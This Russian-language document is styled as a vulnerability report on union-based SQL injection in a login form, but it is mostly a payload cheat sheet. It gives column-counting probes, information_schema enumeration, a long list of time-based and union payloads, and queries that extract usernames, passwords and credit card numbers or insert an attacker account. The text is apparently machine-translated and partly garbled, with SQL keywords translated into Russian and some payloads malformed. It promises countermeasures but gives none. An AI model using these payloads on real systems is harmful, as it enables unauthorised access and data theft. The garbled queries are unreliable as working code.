Несанкционированный доступ и утечка данных через SQL-инъекцию на основе объединения

Краткое содержание:

Эта уязвимость позволяет злоумышленнику выполнять произвольные SQL-запросы к базе данных приложения, что может привести к несанкционированному доступу, утечке данных или даже полному проникновению в систему.

Техническая информация об уязвимости, ее последствиях и предлагаемых мерах противодействия включена в следующий отчет.

Описание:

Форма входа в программу неправильно очищает пользовательский ввод перед использованием его в SQL-запросах.

Внедрение вредоносных операторов SQL таким образом позволяет злоумышленникам обойти элементы управления аутентификацией и получить доступ к базе данных приложения без авторизации.

Использование союза на основе

Определение количества столбцов

Это лучший подход к использованию запроса, если вы можете просмотреть его вывод.
Сначала мы должны выяснить, сколько столбцов возвращает первый запрос. Это необходимо, поскольку количество столбцов, возвращаемых обоими запросами, должно быть одинаковым.

Обычно для этого используют две методики:

Упорядочить/сгруппировать по

Число должно увеличиваться до тех пор, пока вы не получите False ответ. Хотя функции GROUP BY и ORDER BY различаются в SQL, обе они могут использоваться одинаковым образом для определения количества столбцов в запросе.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

ОБЪЕДИНЕНИЕ SELECT

Выбирайте увеличивающееся количество нулевых значений, пока запрос не будет точным:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Используйте нулевые значения, так как они допустимы во всех ситуациях, когда типы столбцов в обеих частях запроса должны совпадать.

Извлечение имен баз данных, имен таблиц и столбцов

Используйте нулевые значения, поскольку они допустимы в любой ситуации, в том числе в тех случаях, когда запрос требует, чтобы типы столбцов в обеих частях запроса совпадали.

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Использование скрытого союза

Вы имеете дело со скрытой инъекцией на основе объединения, если видите результат запроса, но не можете выполнить инъекцию на основе объединения.
В результате этого условия вы получаете слепую инъекцию. Вы должны извлечь запрос, который выполняется на бэкенде, чтобы преобразовать слепую инъекцию в инъекцию на основе объединения.

Вы можете сделать это, используя таблицы вашей целевой СУБД по умолчанию и слепую инъекцию. Прочтите документацию по СУБД для вашей целевой системы, чтобы узнать больше об этих таблицах по умолчанию.

После извлечения запроса вы должны соответствующим образом изменить свою полезную нагрузку, прежде чем безопасно закрыть исходный вопрос. После того, как вы получили инъекцию на основе объединения, добавьте запрос на объединение в свою полезную нагрузку и начните ее использовать.

Общие полезные нагрузки Union Select

ORDER BY SLEEP(5)
 ORDER BY 1,SLEEP(5)
 ORDER BY 1,SLEEP(5)#
 ORDER BY 1,SLEEP(5),3#
 ORDER BY 1,SLEEP(5),3,4#
 UNION ALL SELECT 1#
 UNION ALL SELECT 1,2#
 UNION ALL SELECT 1,2,3#
 UNION SELECT @@VERSION,SLEEP(5),3
 UNION SELECT @@VERSION,SLEEP(5),USER(),4
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
 UNION SELECT @@VERSION,SLEEP(5),"'3
 UNION SELECT @@VERSION,SLEEP(5),"'3'"#
 UNION SELECT @@VERSION,SLEEP(5),USER(),4#
 UNION ALL SELECT NULL#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 UNION ALL SELECT NULL 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- 

полезная нагрузка для SQL-инъекции на основе объединения:

1. Получить данные текущего пользователя:

‘ UNION SELECT имя пользователя, пароль, NULL FROM users WHERE username=’admin’ —

2. Получить конфиденциальную информацию из другой таблицы:

‘ ОБЪЕДИНЕНИЕ ВЫБЕРИТЕ номер кредитной_карты, NULL, NULL FROM user_credit_cards —

3. Перечислить структуру таблицы:

‘ UNION SELECT имя_таблицы, имя_столбца, NULL FROM information_schema.columns —

4. Извлечь данные из определенной таблицы:

‘ UNION SELECT столбец1, столбец2, NULL FROM target_table —

5. Доступ к системной информации:

‘ UNION SELECT @@version, NULL, NULL —

6. Выполните произвольные команды SQL:

‘; ВСТАВИТЬ В пользователей (имя пользователя, пароль) ЗНАЧЕНИЯ («хакер», «пароль»); —

Влияние:

  • Не авторизованный доступ
  • Утечка данных
  • Взлом базы данных

Обнаруженная уязвимость SQL-инъекции на основе объединения представляет значительную угрозу безопасности приложения.